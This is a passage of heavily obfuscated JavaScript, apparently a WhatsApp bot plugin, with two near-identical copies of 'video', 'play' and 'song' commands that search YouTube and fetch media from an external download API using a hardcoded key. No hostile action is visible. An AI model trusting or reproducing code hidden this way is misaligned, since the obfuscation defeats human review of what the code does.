h','Error\x20from','8jIklZj','vGTtb','JLXCJ','ert\x20a\x20song','3320286ktdjRj','Kqcje','*\x0a\x0a*©Ibrah','..⏳','◁\x20II\x20▷\x201:0','Downloded\x20','QoxKX','2?url=','4IYsxUH','oKjaL','ound.','3462867DekrFw','\x20name.','6041987OZzkWA','*\x0a\x0a*®Adams','zihzK','No\x20videos\x20','ZcRyY','sAjyj','\x20API:','download\x20a','timestamp','Download','Searching.','FZOpe','wRwqW','*BMW\x20SONG\x20','oad/ytmp3v','length','0\x20•၊၊||၊|။','../Ibrahim','https://ap','nloading\x20','DmsNp','join','tRQDV','312294LUcpHa','HbvJT','Failed\x20to\x20','pmcTQ','Bmw\x20is\x20dow','in\x20later.','iqVSx','XmUWz','url','/adams','PLAYER*\x0a\x0a*','KTrLK','Fynuq','i.giftedte','rdHuE','kjKui','RrbXo','EkhaH','ly\x20✅','title','play','kCMdh','status','he\x20audio.','SXJjd','95YwZBed','\x20by\x20','/api/downl','No\x20audio\x20f','nloading\x20t','Search','YvWCU'];_0x286e=function(){return _0x6a0084;};return _0x286e();}const _0x15c55e=_0x4696;(function(_0x5514be,_0x3d3f83){const _0x2ebb4d=_0x4696,_0x561370=_0x5514be();while(!![]){try{const _0x6b7c72=parseInt(_0x2ebb4d(0xa6))/(0x7*0x342+0x166*-0x2+-0x1401)+parseInt(_0x2ebb4d(0xb4))/(0x2355+-0x5*-0x3fd+-0x3744)+-parseInt(_0x2ebb4d(0xba))/(0x266f+0x6d*-0x45+0x1*-0x90b)*(-parseInt(_0x2ebb4d(0xc2))/(0x132f+0x1f*0xd+-0x14be))+parseInt(_0x2ebb4d(0x77))/(-0x3*-0xcc5+-0x12b6*-0x1+0x300*-0x13)*(parseInt(_0x2ebb4d(0xde))/(-0x1e*0x124+-0x240b*-0x1+-0x1cd*0x1))+-parseInt(_0x2ebb4d(0xc7))/(0x1*-0x165+0x1f75+-0x1e09)+parseInt(_0x2ebb4d(0xb6))/(-0x44*-0x7f+0x14*-0x184+-0x364)*(parseInt(_0x2ebb4d(0xc5))/(0x86b*0x1+-0x180e+-0xec*-0x11))+-parseInt(_0x2ebb4d(0xaf))/(0x12*-0x21f+-0x21ae+0x23f3*0x2);if(_0x6b7c72===_0x3d3f83)break;else _0x561370['push'](_0x561370['shift']());}catch(_0x15b789){_0x561370['push'](_0x561370['shift']());}}}(_0x286e,0x2cf*0x185+0x2d137+0x22017));const {adams}=require(_0x15c55e(0xd8)+_0x15c55e(0xe7)),yts=require(_0x15c55e(0xb3)),BaseUrl=_0x15c55e(0xd9)+_0x15c55e(0x6b)+_0x15c55e(0x8b),adamsapikey=_0x15c55e(0xae)+'ms';function _0x4696(_0x5a0bf2,_0x163fc2){const _0x5b75c8=_0x286e();return _0x4696=function(_0x230dbe,_0x45f862){_0x230dbe=_0x230dbe-(-0xb50+0x31*0x6d+-0x924);let _0x256ff4=_0x5b75c8[_0x230dbe];return _0x256ff4;},_0x4696(_0x5a0bf2,_0x163fc2);}adams({'nomCom':_0x15c55e(0x89),'categorie':_0x15c55e(0x7c),'reaction':'🎥'},async(_0x2bd86c,_0x4cf97c,_0xf7a930)=>{const _0x554fe3=_0x15c55e,_0x2cac27={'IfuSf':function(_0x560fe3,_0x37c6fa){return _0x560fe3(_0x37c6fa);},'HbvJT':_0x554fe3(0x94)+_0x554fe3(0xb9)+_0x554fe3(0x9c)+'e.','txYdi':function(_0x1178aa,_0x40f2cd){return _0x1178aa(_0x40f2cd);},'ohPGv':function(_0x266fc2,_0x2d285f){return _0x266fc2>_0x2d285f;},'FZOpe':function(_0x28f603,_0x17c732){return _0x28f603(_0x17c732);},'YvWCU':function(_0x22ebcc,_0x254e95){return _0x22ebcc===_0x254e95;},'AuYIq':_0x554fe3(0x88),'vxMiE':function(_0x21aa20,_0x25947a){return _0x21aa20(_0x25947a);},'kCMdh':_0x554fe3(0xbf)+_0x554fe3(0xa4)+_0x554fe3(0x70),'LjbRh':_0x554fe3(0xd1)+_0x554fe3(0xbd),'WnQSJ':_0x554fe3(0xca)+_0x554fe3(0x7e),'KTrLK':_0x554fe3(0xb5)+_0x554fe3(0xcd)},{ms:_0x140ad7,repondre:_0x52a6f9,arg:_0x381269}=_0xf7a930;if(!_0x381269[0x1ef1+-0x775+-0x177c]){_0x2cac27[_0x554fe3(0x85)](_0x52a6f9,_0x2cac27[_0x554fe3(0xdf)]);return;}try{let _0x31a266=_0x381269[_0x554fe3(0xdc)]('\x20'),_0x107e0a=[];const _0xa2694d=await _0x2cac27[_0x554fe3(0x9d)](yts,_0x31a266);_0x107e0a=_0xa2694d[_0x554fe3(0x9b)];if(_0x107e0a&&_0x2cac27[_0x554fe3(0xa5)](_0x107e0a[_0x554fe3(0xd6)],-0x416+-0x19b3+0x1dc9)){const _0x13e3a1=_0x107e0a[-0x1493*-0x1+-0x1dd6+0x943][_0x554fe3(0xe6)],_0x6f379e=await _0x2cac27[_0x554fe3(0x85)](fetch,BaseUrl+(_0x554fe3(0x79)+_0x554fe3(0x80)+_0x554fe3(0xc1))+_0x2cac27[_0x554fe3(0xd2)](encodeURIComponent,_0x13e3a1)+_0x554fe3(0xad)+adamsapikey),_0x4eecc1=await _0x6f379e[_0x554fe3(0x86)]();if(_0x2cac27[_0x554fe3(0x7d)](_0x4eecc1[_0x554fe3(0x74)],0x1bfc+0x1447+-0x2f7b)&&_0x4eecc1[_0x554fe3(0xa9)]){const _0x2076c4=_0x4eecc1[_0x554fe3(0x8d)][_0x554fe3(0x8c)+'rl'],_0x2b390a={'image':{'url':_0x107e0a[0x67a*-0x2+-0x24ae+0x31a2][_0x554fe3(0x84)]},'caption':_0x554fe3(0xe2)+_0x554fe3(0xda)+_0x4eecc1[_0x554fe3(0x8d)][_0x554fe3(0x71)]+_0x554fe3(0x78)+_0x107e0a[0x13*-0x11+-0x4*0x9bb+0x282f][_0x554fe3(0x93)][_0x554fe3(0x87)]+_0x554fe3(0xb0)+_0x107e0a[-0xcba*-0x2+0x1656+0x7f7*-0x6][_0x554fe3(0xcf)]+(_0x554fe3(0x98)+_0x554fe3(0xac))};await _0x4cf97c[_0x554fe3(0x97)+'e'](_0x2bd86c,_0x2b390a,{'quoted':_0x140ad7}),await _0x4cf97c[_0x554fe3(0x97)+'e'](_0x2bd86c,{'video':{'url':_0x2076c4},'mimetype':_0x2cac27[_0x554fe3(0xa8)]},{'quoted':_0x140ad7}),_0x2cac27[_0x554fe3(0xa1)](_0x52a6f9,_0x2cac27[_0x554fe3(0x73)]);}else _0x2cac27[_0x554fe3(0x9d)](_0x52a6f9,_0x2cac27[_0x554fe3(0xa7)]);}else _0x2cac27[_0x554fe3(0xa1)](_0x52a6f9,_0x2cac27[_0x554fe3(0x9a)]);}catch(_0x5b736e){console[_0x554fe3(0x91)](_0x2cac27[_0x554fe3(0x69)],_0x5b736e),_0x2cac27[_0x554fe3(0xd2)](_0x52a6f9,_0x2cac27[_0x554fe3(0xa7)]);}}),adams({'nomCom':_0x15c55e(0x72),'categorie':_0x15c55e(0xd0),'reaction':'🎧'},async(_0x201245,_0x299acb,_0x2e7335)=>{const _0x558d1d=_0x15c55e,_0x943461={'eUvUQ':function(_0x31ea26,_0x48add9){return _0x31ea26(_0x48add9);},'QoxKX':_0x558d1d(0x94)+_0x558d1d(0xb9)+_0x558d1d(0xc6),'kjKui':function(_0x3dabc1,_0x13585d){return _0x3dabc1>_0x13585d;},'zxfxV':function(_0x4b09f6,_0x2648cc){return _0x4b09f6(_0x2648cc);},'ZcRyY':function(_0x36f089,_0x2e699b){return _0x36f089===_0x2e699b;},'JLXCJ':_0x558d1d(0x8f),'oKjaL':function(_0x4024db,_0x5e9b1e){return _0x4024db(_0x5e9b1e);},'zihzK':function(_0x39667d,_0x283801){return _0x39667d(_0x283801);},'pmcTQ':_0x558d1d(0xe0)+_0x558d1d(0xce)+_0x558d1d(0x9e)+_0x558d1d(0x95)+_0x558d1d(0xe3),'sAjyj':function(_0x357978,_0x339663){return _0x357978(_0x339663);},'iqVSx':_0x558d1d(0x7a)+_0x558d1d(0xc4),'iBmyf':_0x558d1d(0xb5)+_0x558d1d(0xcd),'DmsNp':function(_0x164264,_0x304339){return _0x164264(_0x304339);},'vGTtb':_0x558d1d(0xa3)+_0x558d1d(0x82)+_0x558d1d(0x92)+_0x558d1d(0xb2)+_0x558d1d(0x7b)+_0x558d1d(0x75)},{ms:_0x44363d,repondre:_0x583693,arg:_0x55bab5}=_0x2e7335;if(!_0x55bab5[0x1*0x254d+-0x1*0xc94+-0x1*0x18b9]){_0x943461[_0x558d1d(0xb1)](_0x583693,_0x943461[_0x558d1d(0xc0)]);return;}try{let _0x23b19e=_0x55bab5[_0x558d1d(0xdc)]('\x20'),_0x4d8db5=[];const _0x16fc29=await _0x943461[_0x558d1d(0xb1)](yts,_0x23b19e);_0x4d8db5=_0x16fc29[_0x558d1d(0x9b)];if(_0x4d8db5&&_0x943461[_0x558d1d(0x6d)](_0x4d8db5[_0x558d1d(0xd6)],-0x12f5+-0x23ec+-0x1*-0x36e1)){const _0x259f77=_0x4d8db5[0x15cf+-0x1*0x2029+0xa5a][_0x558d1d(0xe6)],_0x31369d=await _0x943461[_0x558d1d(0x8e)](fetch,BaseUrl+(_0x558d1d(0x79)+_0x558d1d(0xd5)+_0x558d1d(0xc1))+_0x943461[_0x558d1d(0x8e)](encodeURIComponent,_0x259f77)+_0x558d1d(0xad)+adamsapikey),_0x54cb23=await _0x31369d[_0x558d1d(0x86)]();if(_0x943461[_0x558d1d(0xcb)](_0x54cb23[_0x558d1d(0x74)],0x1bf0+0x5e7*-0x1+-0x1*0x1541)&&_0x54cb23[_0x558d1d(0xa9)]){const _0x1babcb=_0x54cb23[_0x558d1d(0x8d)][_0x558d1d(0x8c)+'rl'],_0xc60c9d={'image':{'url':_0x4d8db5[-0x10cb+-0x19ae+0x2a79][_0x558d1d(0x84)]},'caption':_0x558d1d(0xd4)+_0x558d1d(0xe8)+_0x558d1d(0xbe)+_0x558d1d(0xd7)+_0x558d1d(0x90)+_0x558d1d(0xaa)+_0x4d8db5[-0x1157*-0x1+0x17d7*0x1+-0x292e][_0x558d1d(0xcf)]+(_0x558d1d(0xbc)+_0x558d1d(0x96))};await _0x299acb[_0x558d1d(0x97)+'e'](_0x201245,_0xc60c9d,{'quoted':_0x44363d}),await _0x299acb[_0x558d1d(0x97)+'e'](_0x201245,{'audio':{'url':_0x1babcb},'mimetype':_0x943461[_0x558d1d(0xb8)]},{'quoted':_0x44363d}),_0x943461[_0x558d1d(0xc3)](_0x583693,_0x558d1d(0x81)+_0x558d1d(0x99)+'\x20'+_0x54cb23[_0x558d1d(0x8d)][_0x558d1d(0x71)]+(_0x558d1d(0xc8)+_0x558d1d(0xab)));}else _0x943461[_0x558d1d(0xc9)](_0x583693,_0x943461[_0x558d1d(0xe1)]);}else _0x943461[_0x558d1d(0xcc)](_0x583693,_0x943461[_0x558d1d(0xe4)]);}catch(_0x1b76cb){console[_0x558d1d(0x91)](_0x943461[_0x558d1d(0x7f)],_0x1b76cb),_0x943461[_0x558d1d(0xdb)](_0x583693,_0x943461[_0x558d1d(0xb7)]);}}),adams({'nomCom':_0x15c55e(0xa0),'categorie':_0x15c55e(0xd0),'reaction':'🎸'},async(_0xddd680,_0x46f4ce,_0x3fbada)=>{const _0x37fb00=_0x15c55e,_0x558c4c={'SXJjd':function(_0x37bf0f,_0x23d4bf){return _0x37bf0f(_0x23d4bf);},'ynJyH':_0x37fb00(0x94)+_0x37fb00(0xb9)+_0x37fb00(0xc6),'Fynuq':function(_0x169ae6,_0x4e6dce){return _0x169ae6>_0x4e6dce;},'Kqcje':function(_0x3d76f4,_0x948560){return _0x3d76f4(_0x948560);},'cWDwy':function(_0x16b099,_0x45dde4){return _0x16b099===_0x45dde4;},'wRwqW':_0x37fb00(0x8f),'ikEoo':function(_0x387bf7,_0x528d53){return _0x387bf7(_0x528d53);},'RrbXo':function(_0x3d74f7,_0x4e7e3d){return _0x3d74f7(_0x4e7e3d);},'tRQDV':_0x37fb00(0xe0)+_0x37fb00(0xce)+_0x37fb00(0x9e)+_0x37fb00(0x95)+_0x37fb00(0xe3),'eRmuA':_0x37fb00(0x7a)+_0x37fb00(0xc4),'XmUWz':_0x37fb00(0xb5)+_0x37fb00(0xcd),'EkhaH':function(_0x1f6a4b,_0x24798c){return _0x1f6a4b(_0x24798c);},'rdHuE':_0x37fb00(0xa3)+_0x37fb00(0x82)+_0x37fb00(0x92)+_0x37fb00(0xb2)+_0x37fb00(0x7b)+_0x37fb00(0x75)},{ms:_0x8deac8,repondre:_0xfff881,arg:_0x2ef9e6}=_0x3fbada;if(!_0x2ef9e6[0x15df+0x2059+0x5*-0xad8]){_0x558c4c[_0x37fb00(0x76)](_0xfff881,_0x558c4c[_0x37fb00(0xa2)]);return;}try{let _0x186670=_0x2ef9e6[_0x37fb00(0xdc)]('\x20'),_0x46d404=[];const _0x3b53c7=await _0x558c4c[_0x37fb00(0x76)](yts,_0x186670);_0x46d404=_0x3b53c7[_0x37fb00(0x9b)];if(_0x46d404&&_0x558c4c[_0x37fb00(0x6a)](_0x46d404[_0x37fb00(0xd6)],0x1ec7*-0x1+0x7*0x71+0x1bb0)){const _0x6f2a68=_0x46d404[0x1543+0x25*0x19+-0x18e0][_0x37fb00(0xe6)],_0x3a9ddf=await _0x558c4c[_0x37fb00(0xbb)](fetch,BaseUrl+(_0x37fb00(0x79)+_0x37fb00(0xd5)+_0x37fb00(0xc1))+_0x558c4c[_0x37fb00(0x76)](encodeURIComponent,_0x6f2a68)+_0x37fb00(0xad)+adamsapikey),_0x3f6888=await _0x3a9ddf[_0x37fb00(0x86)]();if(_0x558c4c[_0x37fb00(0x83)](_0x3f6888[_0x37fb00(0x74)],-0x1f22+-0x3*0x5e7+0x319f)&&_0x3f6888[_0x37fb00(0xa9)]){const _0x1f92d8=_0x3f6888[_0x37fb00(0x8d)][_0x37fb00(0x8c)+'rl'],_0x333955={'image':{'url':_0x46d404[-0x17*0x72+0x2669*0x1+-0x1c2b][_0x37fb00(0x84)]},'caption':_0x37fb00(0xd4)+_0x37fb00(0xe8)+_0x37fb00(0xbe)+_0x37fb00(0xd7)+_0x37fb00(0x90)+_0x37fb00(0xaa)+_0x46d404[-0x23b7+-0x1387+-0x1b9f*-0x2][_0x37fb00(0xcf)]+(_0x37fb00(0xbc)+_0x37fb00(0x96))};await _0x46f4ce[_0x37fb00(0x97)+'e'](_0xddd680,_0x333955,{'quoted':_0x8deac8}),await _0x46f4ce[_0x37fb00(0x97)+'e'](_0xddd680,{'audio':{'url':_0x1f92d8},'mimetype':_0x558c4c[_0x37fb00(0xd3)]},{'quoted':_0x8deac8}),_0x558c4c[_0x37fb00(0x8a)](_0xfff881,_0x37fb00(0x81)+_0x37fb00(0x99)+'\x20'+_0x3f6888[_0x37fb00(0x8d)][_0x37fb00(0x71)]+(_0x37fb00(0xc8)+_0x37fb00(0xab)));}else _0x558c4c[_0x37fb00(0x6e)](_0xfff881,_0x558c4c[_0x37fb00(0xdd)]);}else _0x558c4c[_0x37fb00(0xbb)](_0xfff881,_0x558c4c[_0x37fb00(0x9f)]);}catch(_0x380b8d){console[_0x37fb00(0x91)](_0x558c4c[_0x37fb00(0xe5)],_0x380b8d),_0x558c4c[_0x37fb00(0x6f)](_0xfff881,_0x558c4c[_0x37fb00(0x6c)]);}});
-
-function _0x1aef(_0x4e3d87,_0x59a101){const _0x33ba9b=_0x46ce();return _0x1aef=function(_0x2a6312,_0x2825fe){_0x2a6312=_0x2a6312-(-0x3*0x971+0x302*-0x4+-0x11*-0x277);let _0x1d4561=_0x33ba9b[_0x2a6312];return _0x1d4561;},_0x1aef(_0x4e3d87,_0x59a101);}const _0x33f0e8=_0x1aef;(function(_0x2e6245,_0x43ce85){const _0x6e3d5f=_0x1aef,_0x50da35=_0x2e6245();while(!![]){try{const _0x5ab712=parseInt(_0x6e3d5f(0x1ed))/(-0x3*-0x585+-0x16c1+-0x1*-0x633)+-parseInt(_0x6e3d5f(0x1de))/(0x2052+0x117d*0x1+-0xd1*0x3d)*(-parseInt(_0x6e3d5f(0x1b4))/(0x1b03+0x1*0x1c89+0x15*-0x2a5))+parseInt(_0x6e3d5f(0x1c8))/(-0x29*-0x49+-0x1*-0xd7f+-0x192c)*(-parseInt(_0x6e3d5f(0x1f6))/(-0xd4e+-0x1*0x1258+0xb*0x2e1))+-parseInt(_0x6e3d5f(0x1fc))/(-0x1a02*0x1+0x1efb*-0x1+0x3903)*(parseInt(_0x6e3d5f(0x1b6))/(0xda6+0x13f9+-0x2198))+-parseInt(_0x6e3d5f(0x1dd))/(-0x10fc+-0x48*-0x3a+0x12*0xa)+-parseInt(_0x6e3d5f(0x1d5))/(0x1*0x1839+0xef+-0x191f)+parseInt(_0x6e3d5f(0x20b))/(-0x1fc+0x15*-0x1a9+-0x85*-0x47);if(_0x5ab712===_0x43ce85)break;else _0x50da35['push'](_0x50da35['shift']());}catch(_0x23f939){_0x50da35['push'](_0x50da35['shift']());}}}(_0x46ce,-0xf65*0x2d+0xcbf8+0x1*0x38b51));const {adams}=require(_0x33f0e8(0x1e0)+_0x33f0e8(0x195)),yts=require(_0x33f0e8(0x1b5)),BaseUrl=_0x33f0e8(0x1ba)+_0x33f0e8(0x1e3)+_0x33f0e8(0x1cc),adamsapikey=_0x33f0e8(0x1b0)+'ms';adams({'nomCom':_0x33f0e8(0x1ae),'categorie':_0x33f0e8(0x1f9),'reaction':'🎥'},async(_0x2680c6,_0x20d55b,_0x1d5ba9)=>{const _0x4c0b02=_0x33f0e8,_0x18fee8={'LKtFf':function(_0x1f344d,_0x133215){return _0x1f344d(_0x133215);},'nfbuq':_0x4c0b02(0x1dc)+_0x4c0b02(0x1d9)+_0x4c0b02(0x191)+'e.','FWRkc':function(_0x57ca4e,_0x1bcbca){return _0x57ca4e(_0x1bcbca);},'YoaDY':function(_0x371726,_0xb9e37c){return _0x371726>_0xb9e37c;},'vmeDK':function(_0x2b9a78,_0x94b98d){return _0x2b9a78===_0x94b98d;},'LBVqA':_0x4c0b02(0x1b8),'RynMR':_0x4c0b02(0x1fa)+_0x4c0b02(0x1d0)+_0x4c0b02(0x1bb),'hzNHV':_0x4c0b02(0x1ef)+_0x4c0b02(0x1f5),'BdTOi':_0x4c0b02(0x1a8)+_0x4c0b02(0x1d1),'JqyOI':_0x4c0b02(0x19e)+_0x4c0b02(0x1c7),'zZLqP':function(_0x3b8636,_0x22bf54){return _0x3b8636(_0x22bf54);}},{ms:_0x37ce0b,repondre:_0x4a866e,arg:_0x256232}=_0x1d5ba9;if(!_0x256232[-0x2244+-0x3*-0x24a+0x1b66]){_0x18fee8[_0x4c0b02(0x1f2)](_0x4a866e,_0x18fee8[_0x4c0b02(0x1d6)]);return;}try{let _0x86069f=_0x256232[_0x4c0b02(0x1c6)]('\x20'),_0x280ca3=[];const _0x58e88f=await _0x18fee8[_0x4c0b02(0x1d8)](yts,_0x86069f);_0x280ca3=_0x58e88f[_0x4c0b02(0x19c)];if(_0x280ca3&&_0x18fee8[_0x4c0b02(0x1c1)](_0x280ca3[_0x4c0b02(0x197)],-0x21bb+0x27*0xb9+0x58c)){const _0x631181=_0x280ca3[-0x2*0x1246+-0xaa+-0x1*-0x2536][_0x4c0b02(0x20c)],_0x4251a9=await _0x18fee8[_0x4c0b02(0x1f2)](fetch,BaseUrl+(_0x4c0b02(0x206)+_0x4c0b02(0x20a)+_0x4c0b02(0x1ec))+_0x18fee8[_0x4c0b02(0x1d8)](encodeURIComponent,_0x631181)+_0x4c0b02(0x1a1)+adamsapikey),_0x43b239=await _0x4251a9[_0x4c0b02(0x19f)]();if(_0x18fee8[_0x4c0b02(0x1c2)](_0x43b239[_0x4c0b02(0x1b1)],0x21f+-0x3af*-0x7+-0x1b20)&&_0x43b239[_0x4c0b02(0x1c5)]){const _0x1b9279=_0x43b239[_0x4c0b02(0x192)][_0x4c0b02(0x1e2)+'rl'],_0x49a08d={'image':{'url':_0x280ca3[0x1cf*0x12+0x1fc*0x2+-0x2486][_0x4c0b02(0x1e1)]},'caption':_0x4c0b02(0x1a5)+_0x4c0b02(0x1b7)+_0x43b239[_0x4c0b02(0x192)][_0x4c0b02(0x1a3)]+_0x4c0b02(0x19b)+_0x280ca3[-0x1*0x1235+-0x1*0x12b3+-0x24e8*-0x1][_0x4c0b02(0x1ce)][_0x4c0b02(0x1ee)]+_0x4c0b02(0x1e7)+_0x280ca3[-0x1*-0x264+-0x8d*-0xb+-0x873][_0x4c0b02(0x1a9)]+(_0x4c0b02(0x1c0)+_0x4c0b02(0x203))};await _0x20d55b[_0x4c0b02(0x1fd)+'e'](_0x2680c6,_0x49a08d,{'quoted':_0x37ce0b}),await _0x20d55b[_0x4c0b02(0x1fd)+'e'](_0x2680c6,{'video':{'url':_0x1b9279},'mimetype':_0x18fee8[_0x4c0b02(0x1fe)]},{'quoted':_0x37ce0b}),_0x18fee8[_0x4c0b02(0x1d8)](_0x4a866e,_0x18fee8[_0x4c0b02(0x1bc)]);}else _0x18fee8[_0x4c0b02(0x1f2)](_0x4a866e,_0x18fee8[_0x4c0b02(0x20d)]);}else _0x18fee8[_0x4c0b02(0x1d8)](_0x4a866e,_0x18fee8[_0x4c0b02(0x207)]);}catch(_0x31ca9f){console[_0x4c0b02(0x1c4)](_0x18fee8[_0x4c0b02(0x1c3)],_0x31ca9f),_0x18fee8[_0x4c0b02(0x196)](_0x4a866e,_0x18fee8[_0x4c0b02(0x20d)]);}}),adams({'nomCom':_0x33f0e8(0x208),'categorie':_0x33f0e8(0x1a4),'reaction':'🎧'},async(_0x19320a,_0x2de762,_0x597ca1)=>{const _0x2d4739=_0x33f0e8,_0x4aa606={'vAhGD':function(_0x2c715d,_0x415a29){return _0x2c715d(_0x415a29);},'apNGl':_0x2d4739(0x1dc)+_0x2d4739(0x1d9)+_0x2d4739(0x209),'zWwBl':function(_0x31db54,_0x3ad152){return _0x31db54(_0x3ad152);},'wsMWm':function(_0x3bbbe6,_0x5bc60b){return _0x3bbbe6>_0x5bc60b;},'yqupb':function(_0x5b5233,_0x38bc23){return _0x5b5233(_0x38bc23);},'iUIAF':function(_0x134824,_0x5d1666){return _0x134824(_0x5d1666);},'hgsCG':function(_0x560949,_0x56d172){return _0x560949===_0x56d172;},'wBiJx':_0x2d4739(0x1d3),'MHkpe':function(_0xb27fc,_0x40714c){return _0xb27fc(_0x40714c);},'ZMznz':function(_0x153cb1,_0x5f5b56){return _0x153cb1(_0x5f5b56);},'pxSCU':_0x2d4739(0x1bd)+_0x2d4739(0x1ca)+_0x2d4739(0x1f4)+_0x2d4739(0x1ab)+_0x2d4739(0x201),'YKJDZ':function(_0x529ecf,_0x459df4){return _0x529ecf(_0x459df4);},'BbBEL':_0x2d4739(0x1be)+_0x2d4739(0x1cf),'woWDs':_0x2d4739(0x19e)+_0x2d4739(0x1c7),'URxTw':_0x2d4739(0x18d)+_0x2d4739(0x1b2)+_0x2d4739(0x1af)+_0x2d4739(0x1e9)+_0x2d4739(0x18c)+_0x2d4739(0x200)},{ms:_0x28f126,repondre:_0x4053aa,arg:_0xeccf23}=_0x597ca1;if(!_0xeccf23[0x60a*0x1+-0x152c+-0x1a*-0x95]){_0x4aa606[_0x2d4739(0x202)](_0x4053aa,_0x4aa606[_0x2d4739(0x1b9)]);return;}try{let _0x352970=_0xeccf23[_0x2d4739(0x1c6)]('\x20'),_0x24f452=[];const _0x3f0399=await _0x4aa606[_0x2d4739(0x194)](yts,_0x352970);_0x24f452=_0x3f0399[_0x2d4739(0x19c)];if(_0x24f452&&_0x4aa606[_0x2d4739(0x1da)](_0x24f452[_0x2d4739(0x197)],-0x262b*0x1+-0x516+-0x2b41*-0x1)){const _0x1c85a7=_0x24f452[-0x2*0xe8a+-0x2d*0xf+0x1fb7][_0x2d4739(0x20c)],_0x13b970=await _0x4aa606[_0x2d4739(0x18e)](fetch,BaseUrl+(_0x2d4739(0x206)+_0x2d4739(0x19a)+_0x2d4739(0x1ec))+_0x4aa606[_0x2d4739(0x1fb)](encodeURIComponent,_0x1c85a7)+_0x2d4739(0x1a1)+adamsapikey),_0x21fdf6=await _0x13b970[_0x2d4739(0x19f)]();if(_0x4aa606[_0x2d4739(0x1cb)](_0x21fdf6[_0x2d4739(0x1b1)],-0x582+-0x1*-0x22be+-0x1c74)&&_0x21fdf6[_0x2d4739(0x1c5)]){const _0x5922c7=_0x21fdf6[_0x2d4739(0x192)][_0x2d4739(0x1e2)+'rl'],_0xa9f5a8={'image':{'url':_0x24f452[0xa61+0x1bd1*-0x1+0x1170][_0x2d4739(0x1e1)]},'caption':_0x2d4739(0x1ad)+_0x2d4739(0x1a6)+_0x2d4739(0x1aa)+_0x2d4739(0x1f3)+_0x2d4739(0x1e8)+_0x2d4739(0x18f)+_0x24f452[0xa27+0x1e0*0x14+0x1*-0x2fa7][_0x2d4739(0x1a9)]+(_0x2d4739(0x1f7)+_0x2d4739(0x1db))};await _0x2de762[_0x2d4739(0x1fd)+'e'](_0x19320a,_0xa9f5a8,{'quoted':_0x28f126}),await _0x2de762[_0x2d4739(0x1fd)+'e'](_0x19320a,{'audio':{'url':_0x5922c7},'mimetype':_0x4aa606[_0x2d4739(0x1a0)]},{'quoted':_0x28f126}),_0x4aa606[_0x2d4739(0x19d)](_0x4053aa,_0x2d4739(0x1ea)+_0x2d4739(0x199)+'\x20'+_0x21fdf6[_0x2d4739(0x192)][_0x2d4739(0x1a3)]+(_0x2d4739(0x1e4)+_0x2d4739(0x1bf)));}else _0x4aa606[_0x2d4739(0x1f0)](_0x4053aa,_0x4aa606[_0x2d4739(0x1b3)]);}else _0x4aa606[_0x2d4739(0x190)](_0x4053aa,_0x4aa606[_0x2d4739(0x1d7)]);}catch(_0x1501b7){console[_0x2d4739(0x1c4)](_0x4aa606[_0x2d4739(0x1eb)],_0x1501b7),_0x4aa606[_0x2d4739(0x194)](_0x4053aa,_0x4aa606[_0x2d4739(0x1df)]);}}),adams({'nomCom':_0x33f0e8(0x1d2),'categorie':_0x33f0e8(0x1a4),'reaction':'🎸'},async(_0x323226,_0xa5799f,_0x4ae002)=>{const _0x45bccd=_0x33f0e8,_0x206254={'xVxVM':function(_0x18a105,_0x42c3c2){return _0x18a105(_0x42c3c2);},'NzRFw':_0x45bccd(0x1dc)+_0x45bccd(0x1d9)+_0x45bccd(0x209),'EOthv':function(_0x15845f,_0x43d470){return _0x15845f(_0x43d470);},'NQYUZ':function(_0x25d1e5,_0xa8a2c4){return _0x25d1e5>_0xa8a2c4;},'zGNQu':function(_0x42413a,_0x218b36){return _0x42413a(_0x218b36);},'sZurd':function(_0x412ec2,_0x30d167){return _0x412ec2===_0x30d167;},'eaYgP':_0x45bccd(0x1d3),'Jgqzg':function(_0x190115,_0x2c7466){return _0x190115(_0x2c7466);},'EWnxL':function(_0x1f46ea,_0x3cb9db){return _0x1f46ea(_0x3cb9db);},'iYRdT':_0x45bccd(0x1bd)+_0x45bccd(0x1ca)+_0x45bccd(0x1f4)+_0x45bccd(0x1ab)+_0x45bccd(0x201),'frOmg':function(_0x278112,_0x4dfd92){return _0x278112(_0x4dfd92);},'ifAaU':_0x45bccd(0x1be)+_0x45bccd(0x1cf),'BLvxa':_0x45bccd(0x19e)+_0x45bccd(0x1c7),'jxHkE':function(_0x59f189,_0x48edab){return _0x59f189(_0x48edab);},'zvJhC':_0x45bccd(0x18d)+_0x45bccd(0x1b2)+_0x45bccd(0x1af)+_0x45bccd(0x1e9)+_0x45bccd(0x18c)+_0x45bccd(0x200)},{ms:_0x2743ae,repondre:_0x38043b,arg:_0x14836f}=_0x4ae002;if(!_0x14836f[-0x2*-0xdc9+-0x12f9+-0x899]){_0x206254[_0x45bccd(0x193)](_0x38043b,_0x206254[_0x45bccd(0x1d4)]);return;}try{let _0x5c99dd=_0x14836f[_0x45bccd(0x1c6)]('\x20'),_0x1ddc39=[];const _0x1131e2=await _0x206254[_0x45bccd(0x1f8)](yts,_0x5c99dd);_0x1ddc39=_0x1131e2[_0x45bccd(0x19c)];if(_0x1ddc39&&_0x206254[_0x45bccd(0x1a7)](_0x1ddc39[_0x45bccd(0x197)],-0x223+-0x11b8+0x13db)){const _0x5a868c=_0x1ddc39[0x1*-0x1e1c+-0x1009*-0x1+0xe13][_0x45bccd(0x20c)],_0x50419a=await _0x206254[_0x45bccd(0x1cd)](fetch,BaseUrl+(_0x45bccd(0x206)+_0x45bccd(0x19a)+_0x45bccd(0x1ec))+_0x206254[_0x45bccd(0x1cd)](encodeURIComponent,_0x5a868c)+_0x45bccd(0x1a1)+adamsapikey),_0x46c232=await _0x50419a[_0x45bccd(0x19f)]();if(_0x206254[_0x45bccd(0x198)](_0x46c232[_0x45bccd(0x1b1)],0x12*-0xa3+0x655+0x5e9*0x1)&&_0x46c232[_0x45bccd(0x1c5)]){const _0x31f22f=_0x46c232[_0x45bccd(0x192)][_0x45bccd(0x1e2)+'rl'],_0x3445ff={'image':{'url':_0x1ddc39[-0x1326+0x1ee3+-0xbbd][_0x45bccd(0x1e1)]},'caption':_0x45bccd(0x1ad)+_0x45bccd(0x1a6)+_0x45bccd(0x1aa)+_0x45bccd(0x1f3)+_0x45bccd(0x1e8)+_0x45bccd(0x18f)+_0x1ddc39[-0x24ec+-0x126c+0x3758][_0x45bccd(0x1a9)]+(_0x45bccd(0x1f7)+_0x45bccd(0x1db))};await _0xa5799f[_0x45bccd(0x1fd)+'e'](_0x323226,_0x3445ff,{'quoted':_0x2743ae}),await 